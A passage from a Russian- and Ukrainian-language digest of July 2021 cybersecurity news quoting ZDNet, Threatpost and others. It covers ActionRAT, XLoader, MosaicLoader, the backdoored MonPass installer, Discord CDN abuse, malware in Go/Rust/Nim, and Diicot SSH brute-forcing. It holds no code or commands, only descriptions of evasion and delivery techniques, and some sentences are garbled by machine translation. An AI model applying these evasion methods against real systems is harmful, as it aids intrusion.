ActionRAT — RAT на основе Delphi, похож на Allakorem.

SideCopy распространяет свои RAT, используя множество различных методов заражения — от LNK-файлов до самораспаковывающихся EXE-файлов RAR и установщиков на основе MSI». ***(Индия подвергается атаке со стороны APT-группировки SideCopy // SecurityLab.ru (https://www.securitylab.ru/news/522049.php). 08.07.2021).***

***

«Турецьке хакерське угруповання Akincilar зламало сайт одного з департаментів Міністерства фінансів Сербії, заблокувавши доступ до нього і розмістивши фотографію залу, повного трун, з підписом «8272», що означає

кількість жертв, убитих в Сребрениці, і слово «unutmadik» – «ми не забули» по-турецьки…

Повідомляється, що міністерство вже повернуло контроль над сайтом. У минулому мішенями Akincilar були інтернет-ресурси уряду Греції, а також сайт французького сатиричного журналу Charlie Hebdo після карикатур на пророка Мухаммеда. Крім цього, хакери атакували численні американські та ізраїльські сайти.

Відомо, що хакерське угруповання підтримує президента Туреччини Реджепа Тайіпа Ердогана.

У Сребрениці в липні 1995 року боснійські серби стратили понад 8000 боснійських мусульман – хлопчиків і чоловіків. Міжнародний суд ООН визнав ці масові вбивства мирних жителів геноцидом…» ***(Турецькі хакери атакували урядовий сайт Сербії, нагадавши про геноцид у Сребрениці // «MEDIASAPIENS» (https://ms.detector.media/kiberbezpeka/post/27805/2021-07-19-turetski-khakery-atakuvaly-uryadovyy-sayt-serbii-nagadavshy-pro-genotsyd-u-srebrenytsi/). 19.07.2021).***

***

Вірусне та інше шкідливе програмне забезпечення

«По данным компании по кибербезопасности Netskope, количество вредоносных программ, доставляемых через облако, во втором квартале увеличилось на 68%.

Компания выпустила пятое издание своего отчета об облаках и угрозах, в котором рассматриваются риски, угрозы и тенденции облачных данных, которые они наблюдают в течение квартала.

В отчете отмечается, что на приложения облачного хранилища приходится более 66% доставки облачного вредоносного ПО.

«Во втором квартале 2021 года 43% всех загрузок вредоносных программ были вредоносными документами Office по сравнению с 20% в начале 2020 года. Это увеличение происходит даже после удаления Emotet, что указывает на то, что другие группы заметили успех команды Emotet и приняли аналогичные методы», - говорится в сообщении.

«Следующим по величине процентным соотношением являются приложения для совместной работы и инструменты разработки, поскольку злоумышленники используют популярные чат-приложения и репозитории кода для доставки вредоносного ПО. В общей сложности Netskope обнаружила и заблокировала загрузку вредоносных программ из 290 различных облачных приложений в первой половине 2021 года».

Исследователи, составившие отчет, объяснили, что киберпреступники доставляют вредоносное ПО через облачные приложения, «чтобы обойти черные списки и воспользоваться всеми списками разрешенных приложений для конкретных приложений». Поставщики облачных услуг обычно немедленно удаляют большую часть вредоносных программ, но некоторые злоумышленники

нашли способы нанести значительный ущерб за то короткое время, которое они проводят в системе незамеченными.

По данным исследователей компании, около 35% всех рабочих нагрузок также доступны в общедоступном Интернете в рамках AWS, Azure и GCP с общедоступными IP-адресами, доступными из любого места в Интернете.

Серверы RDP, которые, по их словам, стали «популярным вектором проникновения для злоумышленников», были обнаружены в 8,3% рабочих нагрузок. Средняя компания, в которой работает от 500 до 2000 сотрудников, сейчас развертывает 805 различных приложений и облачных сервисов, 97% из которых «неуправляемы и часто свободно принимаются бизнес-подразделениями и пользователями».

Быстрое внедрение корпоративных облачных приложений продолжится и в 2021 году, при этом данные показывают, что за первое полугодие внедрение выросло на 22%. Но в отчете отмечается, что «97% облачных приложений, используемых на предприятии, являются дублирующими ИТ, неуправляемыми и часто свободно принимаются бизнес-подразделениями и пользователями».

В отчете также поднимаются вопросы о привычках сотрудников как на рабочем месте, так и дома. В отчете высказываются опасения по поводу почти повсеместной тенденции, когда сотрудники разрешают хотя бы одно стороннее приложение в Google Workspace.

В отчете Netskope говорится, что сотрудники, покидающие организацию, загружают в свои личные приложения в три раза больше данных за последние 30 дней работы.

При загрузке данные компании остаются открытыми, поскольку большая часть их загружается на личный Google Диск и Microsoft OneDrive, которые являются популярными целями для кибератак. Согласно выводам Netskope, 15% «либо загружают файлы, которые были скопированы непосредственно из экземпляров управляемых приложений, либо нарушают корпоративную политику данных».

Исследователи также добавляют, что удаленная работа все еще идет полным ходом по состоянию на конец июня 2021 года, и 70% опрошенных пользователей по-прежнему работают удаленно.

«В начале пандемии, когда пользователи начали работать из дома, мы увидели всплеск количества пользователей, посещающих опасные веб-сайты, включая контент для взрослых, обмен файлами и пиратские веб-сайты», - говорится в отчете.

«Со временем этот рискованный веб-серфинг утих, поскольку пользователи, по-видимому, привыкли работать из дома, а ИТ-специалисты смогли научить пользователей правилам допустимого использования».

В отчете говорится о снижении рискованного просмотра, но также подчеркивается «растущая опасность вредоносных документов Office» и облачных конфигураций как особо сложных проблем.

Джозеф Карсон, главный научный сотрудник по безопасности и консультант по информационной безопасности в ThycoticCentrify, сказал, что переход на гибридную рабочую среду в прошлом году означает, что кибербезопасность

должна эволюционировать от периметральной и сетевой к той, которая ориентирована на управление облаком, идентификацией и привилегированным доступом.

«Организации должны продолжать адаптировать и расставлять приоритеты в управлении и обеспечении доступа к бизнес-приложениям и данным, например, аналогичным устройствам типа BYOD, а это означает дальнейшую сегрегацию сетей для ненадежных устройств, но с надежными средствами управления безопасным привилегированным доступом для повышения производительности. и доступ», - сказал Карсон». ***(Jonathan Greig. Even after Emotet takedown, Office docs deliver 43% of all malware downloads now // ZDNet (https://www.zdnet.com/article/even-after-emotet-takedown-office-docs-deliver-43-of-all-malware-downloads-now/). 23.07.2021).***

***

«Исследователи обнаружили дешевый вариант вредоносного ПО, когда-то ориентированный на компьютеры с Windows, который был модернизирован для заражения компьютеров Mac.

В среду компания Check Point Research (CPR) сообщила, что вредоносное ПО, получившее название «XLoader», происходит от варианта для Windows, известного как Formbook.

Formbook когда-то был доступен на подпольных форумах всего за 29 долларов в неделю по подписке. Однако это вредоносное ПО было снято с продажи примерно четыре года назад разработчиком, известным как ng-Coder, и не появлялось повторно до 2020 года, при этом нося новое имя XLoader.

Однако следует отметить, что, хотя продажи закончились, Formbook остается серьезной угрозой в дикой природе.

CPR анализирует вредоносное ПО в течение последних шести месяцев. Исследователи обнаружили ту же кодовую базу, что и Formbook, но разработчик внес существенные изменения, в том числе новые возможности для компрометации систем macOS.

Цепочки заражения начинаются с фишинга, когда поддельные электронные письма содержат вредоносные вложения, такие как документы Microsoft Office, содержащие вредоносное ПО.

XLoader - это программное обеспечение для мониторинга с возможностями удаленного доступа, регистрации нажатия клавиш, возможностью делать снимки экрана, а также выполнять кражу данных, например, кражу учетных данных. Кроме того, вредоносная программа имеет обширную настройку управления и контроля (C2), использующую около 90000 доменов для сетевой связи, но только 1300 являются настоящими маячками C2.

«Остальные 88 000 доменов принадлежат законным сайтам, на которые вредоносное ПО также отправляет вредоносный трафик», - сообщает CPR. «Это ставит поставщиков средств безопасности перед дилеммой: как определить, какие из них являются настоящими C&C серверами, а не ложно-положительно идентифицировать легитимные сайты как вредоносные».

XLoader был доступен на подпольных форумах по лицензии по цене от 59 до 129 долларов, в зависимости от периода подписки и от того, нужна ли им версия для Windows или macOS.

CPR обнаружил связи между ng-Coder и пользователем форума xloader, последний из которых считается просто продавцом.

Похоже, что потенциальные злоумышленники в 69 странах на данный момент запросили доступ к вредоносной программе, которая управляется централизованным сервером C2. Более половины обнаруженных на данный момент жертв XLoader находятся в США.

«Хотя между вредоносными программами для Windows и macOS может существовать разрыв, этот разрыв со временем постепенно сокращается», - прокомментировал Янив Балмас, руководитель отдела кибер-исследований CPR. «На самом деле вредоносное ПО для MacOS становится все больше и опаснее. Наши недавние результаты являются прекрасным примером и подтверждают эту растущую тенденцию». ***(Charlie Osborne. $49 malware receives major upgrade to strike both Windows and macOS PCs // ZDNet (https://www.zdnet.com/article/49-malware-receives-major-upgrade-to-strike-windows-and-mac-pcs/). 21.07.2021).***

***

«Недавно обнаруженная форма вредоносного ПО, которое доставляется жертвам через рекламу в результатах поиска, используется в качестве шлюза для кражи паролей, установки майнеров криптовалюты и доставки дополнительных троянских программ.

Детальнее на кибербезопасность компании Bitdefender, на вредоносные программы - которая ориентирована на Windows, - уже окрестили MosaicLoader и заразил жертв по всему миру, как позади него пытаются идти на компромисс, как многие системы, как это возможно.

MosaicLoader можно использовать для загрузки различных угроз на скомпрометированные машины, включая Glupteba, тип вредоносного ПО, которое создает бэкдор в зараженных системах, который затем можно использовать для кражи конфиденциальной информации, включая имена пользователей и пароли, а также финансовой информации.

В отличие от многих видов вредоносных программ, которые распространяются с помощью фишинговых атак или незащищенных уязвимостей программного обеспечения, MosaicLoader доставляется жертвам с помощью рекламы.

Ссылки на вредоносное ПО появляются в верхней части результатов поиска, когда люди ищут взломанные версии популярного программного обеспечения. Автоматизированные системы, используемые для покупки и обслуживания рекламных площадей, вероятно, означают, что никто в сети, кроме злоумышленников, не знает, что реклама вообще является вредоносной.

В охранной компании заявили, что сотрудники, работающие из дома, подвергаются более высокому риску загрузки взломанного программного обеспечения.

«Скорее всего, злоумышленники покупают рекламу в последующих рекламных сетях - небольших рекламных сетях, которые направляют рекламный трафик к более крупным провайдерам. Обычно они делают это в выходные дни, когда на ручную проверку рекламы влияет ограниченный персонал по вызову», - Богдан Ботезату, Директор по исследованию угроз и отчетности Bitdefender сообщил ZDNet.

Возможно, что вредоносное ПО будет обнаружено антивирусным программным обеспечением, но многие пользователи, загружающие незаконно взломанное программное обеспечение, вероятно, отключили свою защиту, чтобы получить доступ и установить загрузку.

Чтобы загрузка казалась пользователю как можно более законной, взломанное программное обеспечение имитирует файловую информацию реального программного обеспечения, вплоть до имен и описаний в папках с файлами.

Однако все, что загружается, - это MosaicLoader, который предоставляет злоумышленникам доступ к машине. Исследователи отмечают, что злоумышленники пытаются украсть имена пользователей и пароли для онлайн-учетных записей, а также использовать майнеры криптовалюты и удалять троянские программы, которые обеспечивают доступ к машинам через черный ход.

Предполагается, что цель этой кампании - в конечном итоге продать доступ к скомпрометированным машинам Windows, хотя тот факт, что уже устанавливаются дополнительные вредоносные программы, предполагает, что злоумышленники крадут данные для себя.

«Насколько мы можем судить, этот новый MosaicLoader пытается заразить как можно больше устройств, чтобы увеличить долю рынка, а затем продать доступ к зараженным компьютерам другим злоумышленникам», - сказал Ботезату.

Согласно Bitdefender, киберпреступная группа, стоящая за MosaicLoader, вероятно, является новой операцией, не связанной с какими-либо ранее известными группами. Они пытаются распространить вредоносное ПО как можно шире, но текущая форма распространения означает, что до тех пор, пока пользователи не будут пытаться загрузить взломанное программное обеспечение, они останутся в безопасности.

Пользователи также должны с осторожностью выполнять инструкции по отключению антивирусного программного обеспечения, так как это может привести к проникновению вредоносного программного обеспечения в систему…». ***(Danny Palmer. This password-stealing Windows malware is distributed via ads in search results // ZDNet (https://www.zdnet.com/article/this-password-stealing-windows-malware-is-distributed-via-ads-in-search-results/). 21.07.2021).***

***

«Официальный веб-сайт монгольского центра сертификации (CA) скрывал вредоносные программы и облегчал загрузку бэкдор-клиента для пользователей.

Исследователи из Avast назвали MonPass скомпрометированным ЦС, который потенциально мог быть взломан до восьми раз, поскольку на сервере ЦС присутствовало восемь различных веб-оболочек и бэкдоров.

В ходе анализа, проведенного в период с марта по апрель, Avast обнаружил признаки компрометации из-за веб-оболочек и бэкдоров, а версия клиента MonPass, доступная для загрузки с 8 февраля 2021 года до 3 марта 2021 года, была вредоносной.

Avast сообщает, что установщик содержал двоичные файлы Cobalt Strike. Cobalt Strike - это законный инструмент эмуляции угроз для тестеров на проникновение, который злоумышленники также используют в целях, включая развертывание вредоносных программ, кражу данных и обфускацию сетевой активности.

Вредоносный установщик, неподписанный PE-файл, сначала извлек законную версию установщика из домена MonPass и запустил программное обеспечение на машине пользователя, чтобы не вызвать подозрений. Однако в фоновом режиме также загружался файл изображения, и стеганография использовалась для распаковки и дешифрования скрытого кода, содержащего маяк Cobalt Strike, для установки на машину жертвы.

Avast сообщает, что с тех пор на VirusTotal были обнаружены дополнительные варианты вредоносного пакета.

Когда дело доходит до атрибуции, исследователи говорят, что «мы не можем установить атрибуцию этих атак с должным уровнем уверенности».

«Однако очевидно, что злоумышленники явно намеревались распространить вредоносное ПО среди пользователей в Монголии, скомпрометировав надежный источник, которым в данном случае является ЦС в Монголии», - добавил Avast.

MonPass был уведомлен о результатах исследования 22 апреля через MN CERT / CC. К 29 июня MonPass подтвердил, что проблема решена, что привело к публичному раскрытию информации об Avast.

Любой, кто загрузил клиентское программное обеспечение MonPass в период с 8 февраля по 3 марта, должен удалить клиент и связанный с ним бэкдор. Последняя доступная версия - v.1.21.1.

MonPass сообщил ZDNet, что пострадавшие клиенты были проинформированы о проблеме безопасности, и компания «удаленно просканировала их компьютеры, чтобы убедиться в отсутствии угрозы».

«Эти атаки не затрагивают нашу систему инфраструктуры открытого ключа, наша система полностью защищена и нормально работает за несколькими уровнями защиты», - заявляет компания». ***(Charlie Osborne. Website of Mongolian certificate authority served backdoored client installer // ZDNet (https://www.zdnet.com/article/website-of-mongolian-certificate-authority-backdoored-served-malware/). 06.07.2021).***

***

«В Discord есть проблема с вредоносным ПО. И хотя платформу в основном используют геймеры, оказывается, что даже пользователи, которые никогда не взаимодействовали с Discord, подвергаются риску.

Discord создает серверы или определенные группы или сообщества пользователей, которые могут быстро обмениваться голосовыми, текстовыми и другими мультимедийными сообщениями.

Исследователи говорят, что количество обнаруженных вредоносных программ Discord значительно выросло по сравнению с прошлым годом. В отчете Sophos говорится о том, что количество инцидентов увеличилось в 140 раз по сравнению с 2020 годом. Основными виновниками скачка в Discord являются его сеть доставки контента (CDN) и интерфейс прикладного программирования (API) - оба инструмента киберпреступники злоупотребляли.

По словам Sophos, CDN Discord используется для размещения вредоносных программ, в то время как его API используется для кражи украденных данных и упрощения хакерских каналов управления и контроля.

По словам Sophos, поскольку Discord активно используется молодыми игроками, играющими в Fortnite, Minecraft и Roblox, большая часть распространяемого вредоносного ПО представляет собой не более чем розыгрыш, например, использование кода для сбоя игры противника. Но больше тревожит рост числа кражи информации и троянов удаленного доступа, добавил он.

Кражи учетных данных в Discord, RAT

«Но наибольший процент обнаруженных нами вредоносных программ ориентирован на кражу учетных данных и личной информации, широкий спектр вредоносных программ-стилеров, а также более универсальные RAT», - говорится в отчете. «Злоумышленники, стоящие за этими операциями, использовали социальную инженерию для распространения вредоносного ПО для кражи учетных данных, а затем использовали собранные жертвами учетные данные Discord для нацеливания на дополнительных пользователей Discord».

Команда также обнаружила устаревшее вредоносное ПО, в том числе шпионское ПО и фальшивые кражи информации о приложениях, размещенные на Discord CDN.

Сравнение количества URL-адресов, на которых размещено вредоносное ПО, в CDN Discord дает представление о надвигающейся проблеме. Sophos сообщил об обнаружении 9500 вредоносных URL-адресов на CDN Discord в апреле. В последующие месяцы это число выросло до 17 000 URL.

«И это исключает вредоносное ПО, не размещенное в Discord, которое различными способами использует интерфейсы приложений Discord», - говорится в отчете. «Непосредственно перед публикацией более 4700 из этих URL-адресов, указывающих на вредоносный EXE-файл Windows, оставались активными».

Sophos указывает, что «серверы» Discord на самом деле являются виртуальными машинами Google Cloud Elixir Erlang с Cloudfare, и они могут быть открыты для любого пользователя или, за дополнительную плату, сделаны «закрытыми» и использовать ключи для приглашения других присоединиться. CDN Discord - это просто облачное хранилище Google, которое делает файлы, которыми обмениваются, доступны в Интернете, добавлено в отчете.

Discord Juicy Target

Эта эластичная архитектура - именно то, что ищут киберпреступники.

«После того, как файлы загружены в Discord, они могут сохраняться бесконечно долго, если не будут отправлены или удалены», - говорится в отчете.

Каналы чата Discord также предоставляют отличную систему доставки фишинговых сообщений и ссылок на вредоносное ПО. По словам Sophos, многие приманки, используемые в Discord, обещают "читы", но вместо этого доставляют некоторые разновидности приманок.

Согласно отчету, сам Discord стал объектом кражи учетных данных.

В январе Sonatype обнаружила три вредоносных пакета программного обеспечения в популярном репозитории кода JavaScript, которые включали токен Discord и средства для кражи учетных данных для получения доступа к личной информации пользователей.

Это не первый раз, когда Discord обращает внимание на проблему безопасности. В апреле Talos из Cisco опубликовал отчет, в котором предупредил пользователей, что Discord и Slack все чаще используются для доставки RAT и кражи информации. А в феврале Zscaler THreatLabZ предупредил о спаме, связанном с пандемией, который распространялся по Discord, чтобы попытаться обманом заставить пользователей загрузить вредоносную программу криптомайнера XMRig.

К маю вредоносное ПО для кражи информации PandaStealer стало распространяться через рассылку спама на Discord.

Исследователи Sophos заявили, что Discord откликнулся на их выводы и активно работает над повышением безопасности платформы. Но по мере того, как все больше организаций обращаются к Discord за услугами, Sophos предупреждает, что им следует знать об угрозах, скрывающихся на платформе.

«Поскольку все больше организаций используют Discord в качестве недорогой платформы для совместной работы, потенциальный ущерб, связанный с потерей учетных данных Discord, открывает для организаций дополнительные векторы угроз», - сказал Sophos. «Даже если у вас дома или в офисе нет пользователя Discord, злоупотребление Discord со стороны операторов вредоносных программ представляет собой угрозу». ***(Becky Bracken. Discord CDN and API Abuses Drive Wave of Malware Detections // Threatpost (https://threatpost.com/discord-malware-researchers/168096/). 23.07.2021).***

***

«Исследователи обнаружили, что авторы вредоносных программ все чаще используют редко встречающиеся языки программирования, такие как Go, Rust, Nim и DLang, чтобы создавать новые инструменты и затруднять анализ.

Согласно отчету, опубликованному в понедельник BlackBerry Research and Intelligence Team, использование этих четырех языков растет в числе обнаруженных семейств вредоносных программ. Команда выбрала эти четыре языка для изучения, отчасти потому, что они соответствуют ее методологиям обнаружения, но также и потому, что эти языки имеют сильную поддержку сообщества и могут считаться более развитыми.

«Эти необычные языки программирования больше не используются так редко, как раньше», - говорится в описании. «Злоумышленники начали применять их, чтобы переписать известные семейства вредоносных программ или создать инструменты для новых наборов вредоносных программ».

В частности, исследователи отслеживают, как больше загрузчиков и дропперов пишутся на более редких языках. «Эти новые вредоносные программы первого уровня предназначены для декодирования, загрузки и развертывания массовых вредоносных программ, таких как трояны удаленного доступа Remcos и NanoCore, а также Cobalt Strike», - говорится в отчете. «Они обычно использовались, чтобы помочь злоумышленникам избежать обнаружения на конечной точке».

Фактически, использование законного инструмента безопасности Cobalt Strike резко возросло: его использование в кибератаках выросло на 161% по сравнению с прошлым годом, став полностью мейнстримом в мире криминального ПО.

Темная сторона инноваций

Производители вредоносных программ могут иметь репутацию тех, кто не спешит отказываться от того, что работает, но они счастливы осваивать новые языки программирования по тем же причинам, что и их законопослушные аналоги: это помогает устранить болевые точки в цикле разработки, для одного. Кроме того, с точки зрения автора вредоносного ПО, новые языки позволяют своим творениям на шаг - два или три - опережать средства защиты. «Авторы вредоносных программ известны своей способностью приспосабливать и изменять свои навыки и поведение, чтобы использовать преимущества новых технологий», - написал Эрик Милам, вице-президент по исследованию угроз. «Это дает множество преимуществ, связанных с циклом разработки и неотъемлемой частью защитных решений».

Кроме того, как и программисты, не занимающиеся вредоносными программами, авторы вредоносных программ должны защищать себя от эксплуатации. Blackberry указала на «EmoCrash» как на пример того, чего они укрепляют в своей защите, чтобы избежать: около года назад исследователь безопасности Джеймс Куинн обнаружил, что он разработал выключатель, получивший название EmoCrash, который использовал переполнение буфера в процессе установки основной двоичный файл в печально известном инфостилере Emotet, вызывающий его сбой и предотвращающий заражение систем в течение шести месяцев. По сути, он изобрел вакцину Emotet.

Показательные примеры: растущая беглость APT28 и APT29

Когда дело доходит до этих малоизвестных языков, разработчики вредоносных программ исторически в основном писали на Go: языке общего назначения, который очень похож на C ++ в том, что он статически типизирован и компилируется. Фактически, его компилятор изначально был написан на C, хотя теперь он также написан на Go.

По словам исследователей, вредоносное ПО на языке C по-прежнему является самым распространенным. Но два российских злоумышленника, APT28 и APT29, начали использовать более экзотические языки в наборах вредоносных

программ чаще, чем другие группы. APT28 - это Fancy Bear или Strontium и др., А APT29 - он же Nobelium, Cozy Bear или Dukes и др.

По словам исследователей Blackberry, Go теперь «один из языков, на который «обращаются» для злоумышленников», которые придумывают варианты, как на уровне расширенных постоянных угроз (APT), так и на уровне обычных продуктов. «Новые образцы на основе Go теперь появляются на полурегулярной основе, включая вредоносные программы всех типов и нацелены на все основные операционные системы в рамках нескольких кампаний», - написали они.

APT28 и APT29 - хорошие примеры. APT28, печально известный своим предполагаемым вмешательством в президентские выборы 2016 года через проникновение в Национальный комитет Демократической партии, связан с широким спектром атак и семейств вредоносных программ, но, в частности, семейство вредоносных программ Zebrocy «особенно использует несколько необычных языков программирования в своей цепочке уничтожения» -говорится в сообщении.

Zebrocy, также известная как Sednit, APT28, Fancy Bear и Strontium и используемая группой угроз Sofacy, работает как загрузчик и собирает данные о зараженных узлах.

Как объяснили исследователи, когда образцы Zebrocy впервые были замечены в 2015 году, они состояли из трех частей: загрузчика Delphi, загрузчика AutoIT и бэкдора Delphi. Независимо от того, на каком языке написан Zebrocy, он распространяется с помощью фишинговых кампаний, содержащих первоначальный троян, который пытается связаться с сервером управления и контроля (C2) и который запускает загрузчик, чтобы сбросить вредоносную полезную нагрузку через установленный бэкдор. Он неоднократно переписывался, но «метод доставки с помощью вложения электронной почты и общие функции остаются в основном такими же», - говорится в отчете.

Подборка перезаписей Go, используемых APT28:

2018 : Троян на основе Go, связанный с APT28, был идентифицирован как вариант Zebrocy с переписанной версией исходного загрузчика Delphi.

2019: Исследователи обнаружили загрузчик Nim вместе с бэкдором Go в той же кампании Zebrocy, нацеленной на посольства и министерства иностранных дел в Восточной Европе и Центральной Азии.

2020 и предыдущие годы: APT28 все больше полюбил Go, используя другие переписанные основные компоненты Zebrocy: полезную нагрузку бэкдора и загрузчик. Совсем недавно APT28 использовал пандемию COVID-19 в качестве приманки для доставки варианта загрузчика Go в декабре.

Со своей стороны, APT29 / Cozy Bear, наиболее известный своим участием в атаках на цепочки поставок SolarWinds в начале 2020 года, в 2018 году нацелился на машины Windows и Linux с помощью WellMess, трояна удаленного доступа (RAT), написанного на Go и.NET.

Исследователи отметили, что наиболее распространенным вариантом WellMess является версия Go, которая поставляется как в 32-битном, так и в 64-битном вариантах в виде файлов PE и ELF, что «дает APT29 возможность развертывать его в более чем одном типе архитектуры и ОС.. »

APT29 обычно проникает в сеть жертвы, сначала сканируя внешние IP-адреса организации на наличие уязвимостей, а затем бросая публичные эксплойты на уязвимые системы.

Растущее использование группой вариантов Go включает в себя использование более сложных вариантов WellMess в 2020 году в попытках украсть исследования вакцины COVID-19 у академических и фармацевтических исследовательских институтов в различных странах по всему миру, включая США, Великобританию и Канаду. Исследователи отметили, что новый вариант, написанный на Go, стал более сложным: в APT29, например, добавлено больше сетевых протоколов связи и возможность запускать сценарии PowerShell после заражения.

«Оба злоумышленника по-прежнему активны и провели одни из самых эффективных российских кибератак на сегодняшний день», - утверждают исследователи Blackberry. «Недавняя активность предполагает, что эти группы использовали необычные языки программирования, упомянутые в этой статье, чтобы усложнить свои вредоносные программы, нацелить на несколько платформ и избежать обнаружения».

График

Помимо Go и его растущего интереса к APT28 и APT29, другие редкие языки за последнее десятилетие все чаще используются во все большем количестве семейств вредоносных программ дополнительными злоумышленниками. Ниже приведен график того, как все чаще появляются четыре языка, особенно языки Rust, Nim и D. Аналитики Blackberry отметили, что это не исчерпывающий список семейств вредоносных программ, разработанных на этих языках.

Вредоносное ПО DLang, по-видимому, наименее популярный язык в растущем ландшафте угроз, но за последний год его рост был незначительным. Это может означать тенденцию к более широкому внедрению DLang разработчиками вредоносных программ, прогнозируется в отчете.

Нет ничего скромного в большом росте использования начальных стадий для Cobalt Strike, компилируемого с использованием Go, а в последнее время в Nim, согласно рецензии, начальные стадии являются двоичным файлом, используемым для облегчения первого этапа, начального доступа путем обращения к загрузке. маяк Cobalt Strike от TeamServer. «Этот сервер отвечает за обслуживание самих маяков», - говорится в сообщении. «Важно, чтобы защитники были на опережение в поиске файлов, связанных с Cobalt Strike, написанных на этих языках, чтобы повысить обороноспособность против такой грозной угрозы».

Шум из Вавилонской башни помогает злоумышленникам

Команда Blackberry выделила ряд причин, по которым использование менее распространенных языков помогает злоумышленникам делать свои грязные дела:

Восполнение дефицита в существующих языках. Вредоносные программисты могут преследовать ряд вещей, которых им не хватает в других языках, будь то более простой синтаксис, повышение производительности или более эффективное управление памятью. С другой стороны, новый язык может быть идеальным инструментом для данной целевой среды: например, как указано в отчете, устройства Интернета вещей (IoT) используют языки более низкого уровня, такие

как C или ассемблер. Еще один плюс дружественный характер, что может облегчить разработку и разработчик некоторых языков качества жизни: Пример включает менеджер пип пакет для Python или НПЙ для Node.js.

Запрещается реверс-инжиниринг. Не все инструменты анализа вредоносных программ поддерживают экзотические языки программирования, что делает анализ утомительным. «Бинарные файлы, написанные на… Go, Rust, Nim и DLang… могут казаться более сложными, запутанными и утомительными при дизассемблировании по сравнению с их традиционными аналогами на основе C / C ++ / C #», - пояснили исследователи Blackberry.

Завинчивание с сигнатурным детектированием. Чтобы распознать подпись, она должна оставаться неизменной. Одним из примеров статической характеристики являются хэши, которые требуют, чтобы каждый байт был идентичным, будь то хеш всего файла или хеш сертификата и т. Д. Варианты нового языка, которые изменяют эти ранее статические характеристики, скорее всего, не будут обнаружены. Одним из примеров является BazarLoader, который был переписан в Nim.

«Сигнатуры для существующих семейств вредоносных программ, основанные на статических свойствах, не имеют большого успеха в пометке одного и того же вредоносного ПО после того, как оно было переписано на этих менее известных языках. В таких ситуациях, как Buer и RustyBuer (а также BazarLoader и NimzaLoader), обычно необходимо создавать новые правила, чтобы пометить эти косвенно связанные варианты », - пишут исследователи.

Обфускация. Когда дело доходит до экзотических языков, сам язык может почти действовать как обфускация, учитывая тот факт, что он относительно: «Сами языки могут иметь эффект, аналогичный традиционному обфускации, и могут использоваться для попытки обойти обычные меры безопасности и затруднить анализ, - сказали исследователи.

Кросс-компиляция более эффективно нацелена на Windows и Mac. Разработчик вредоносного ПО может создать один вариант вредоносного ПО и кросс-компилировать его для работы с несколькими архитектурами и операционными системами, используемыми в большинстве предприятий. Авторам вредоносных программ требуется меньше инструментов для нацеливания на сети, и поэтому они могут создавать более широкую сеть с меньшими усилиями.

Учим старую собаку новым трюкам. Согласно отчету, разработчики вредоносных программ дополняют старые вредоносные программы, написанные на традиционных языках, таких как C ++ и C #, с помощью дропперов и загрузчиков, написанных на экзотических языках. Опять же, это экономит много работы, поскольку авторы могут пропустить трудоемкий процесс перекодирования вредоносных программ и вместо этого могут просто заключить его в переписанный метод доставки нового дроппера или загрузчика.

В качестве альтернативы, злоумышленники с обширными ресурсами полностью переписывают существующее вредоносное ПО на новых языках, а не просто обертки и загрузчики. Примеры: BazaLoader переключился на NimzaLoader, а Buer переключился на RustyBuer.

Отражение

Blackberry предположила, что для обнаружения этих многоязычных семейств вредоносных программ у инженеров-программистов и исследователей угроз будет больше шансов, если они будут использовать динамические или поведенческие сигнатуры, сигнатуры, которые определяют поведение через выходные данные песочницы или [обнаружение и ответ конечной точки, или EDR] или данные журнала. «Эти методы могут быть гораздо более надежными в таких случаях», - говорится в отчете.

По словам исследователей, использование правил обнаружения, не зависящих от реализации, для того, чтобы пометить динамическое поведение, может помочь в случае сбоя статических сигнатур, учитывая, что вредоносные программы часто ведут себя одинаково, особенно при перекодировании вредоносных программ. «В других обстоятельствах, таких как загрузчики шелл-кода, которые часто внедряются в процессы с использованием ограниченного набора вызовов Windows API, они могут быть идентифицированы с помощью этого ограниченного набора», - поясняется в отчете.

Кроме того, по словам исследователей, использование библиотек в двоичном файле часто может быть «подписано». «Языки, исследованные в этом отчете, имеют привязки, которые позволяют им взаимодействовать с Win32 API и использовать эти вызовы API. По сути, они могут использовать методологию, почти идентичную методологии более традиционных языков, таких как C ++. Это не всегда так, поскольку определенные языки могут использовать свои собственные API-интерфейсы вместо API-интерфейсов Win32. Например, они могут использовать криптографические библиотеки, которые ограничивают видимость определенных событий. Однако использование этих библиотек в двоичном файле также часто может быть «подписано».

Инструментам анализа образцов вредоносных программ потребуется некоторое время, чтобы догнать эти новые языки, но для сообщества безопасности «крайне важно» оставаться активными в защите от злонамеренного использования новых технологий и методов», - предупреждает Blackberry.

«Крайне важно, чтобы промышленность и клиенты понимали эти тенденции и следили за ними, поскольку они будут только расти», - сообщил Милам из Blackberry». ***(Lisa Vaas. Malware Makers Using 'Exotic' Programming Languages // Threatpost (https://threatpost.com/malware-makers-using-exotic-programming-languages/168117/). 26.07.2021).***

***

«Банда криптоджекинга, которая, вероятно, базируется в Румынии, использует невиданный ранее SSH-брутфорс, получивший название Diicot brute, для взлома паролей на Linux-машинах со слабыми паролями.

Смысл кампании в основном заключается в развертывании вредоносного ПО для майнинга Monero, заявили исследователи Bitdefender в отчете, опубликованном в среду, хотя комплект банды может позволить им совершать другие типы атак. Исследователи заявили, что они подключили группу как минимум к двум ботнетам с распределенным отказом в обслуживании (DDoS): варианту ботнета DDoS DemonBot на базе Linux под названием «chernobyl» и Perl IRC-боту.

Почему криптоджекинг? Потому что это удобный путь к добыче. «Как вы все знаете, майнинг криптовалюты медленный и утомительный, но он может идти быстрее при использовании нескольких систем», - говорится в отчете. «Владение несколькими системами для майнинга обходится недешево, поэтому злоумышленники пробуют следующее лучшее: удаленно взломать устройства и вместо этого использовать их для майнинга».

Нет недостатка в учетных данных Cruddy на машинах с Linux

Слабые пароли неудивительны: имена пользователей и пароли по умолчанию или слабые учетные данные, которые можно легко взломать с помощью перебора, являются повсеместными и неудачными данными в сфере безопасности.

«Хакеры, пытающиеся получить слабые учетные данные SSH, не редкость», - поясняется в отчете. По словам исследователей, сложность заключается не в обязательном подборе учетных данных методом перебора, а в том, чтобы «сделать это таким образом, чтобы злоумышленники остались незамеченными».

Как пояснили аналитики, автор инструмента Diicot brute утверждает, что он может отфильтровывать приманки. Может быть, но «это расследование является доказательством того, что это не так, или, по крайней мере, оно не могло избежать нашего», - написали они.

Данные приманки Bitdefender показывают, что атаки, соответствующие сигнатуре инструмента грубой силы, начались в январе. По их словам, на данном этапе кампания не является распространением червя на скомпрометированные системы, по крайней мере, пока: «IP-адреса, с которых они происходят, принадлежат относительно небольшому набору, что говорит нам о том, что злоумышленники еще не использование скомпрометированных систем для распространения вредоносного ПО (поведение червя) ».

Прослежен в Румынию

